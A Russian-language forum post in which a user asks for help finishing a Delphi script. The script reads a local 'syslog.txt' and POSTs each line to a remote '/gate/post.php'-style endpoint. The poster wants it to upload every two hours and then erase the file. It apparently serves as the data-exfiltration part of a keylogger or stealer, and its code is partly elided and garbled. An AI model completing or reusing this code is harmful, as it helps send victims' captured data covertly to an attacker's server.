скрипт отправки файлов Delphi

[mrdess16]

Нужна помощь чтоботредактировать скрипт он должен отсылать файл на хостинг но не обезалтельно можно переделать чтоб на емаил но я здесь новичок и пака немогу розобраться и там должно быть поле для пароля и имя пользователя если через фтп а я их немогу найти а а он должен етот файл отправлять скажем каждые 2 часа а после отправки стирать его содержымае так ка ето текстовый файл
begin
fName:='syslog.txt';
AssignFile(f, fName);
{$I-}
Reset(f);
{$I+}
while not EOF(f) do
begin
readln(f,buf);
WSAStartup(MAKEWORD(2, 0), WSA);
sock := Socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
FillChar(addr, SizeOf(sockaddr_in), 0);
addr.sin_family := AF_INET;
addr.sin_port := htons(80);
Site := '.....';
HostEnt := ........);
addr.sin_addr.s_addr := Longint(PLongint(HostEnt^.h_addr_li st^)^);
Connect(sock, addr, SizeOf(addr));
PostData := '';
PostData := 'syslog=' + buf;
sendbuff := '';
sendbuff := 'POST http://...../ HTTP/1.1' + #13#10 +
'Host: http://...../' + #13#10 +
'Referer: http://sdfgrty.newsit.es/gate/post.php' + #13#10 +
'Connection: Keep-Alive, TE' + #13#10 +
'Content-Type: application/x-www-form-urlencoded' + #13#10 +
'Content-Length: ' + IntToStr(Length(PostData)) + #13#10#13#10 + PostData;
send(sock, sendbuff [1], Length(sendbuff), 0);
CloseSocket(sock);
inc(count);
end;
CloseFile(f);
end;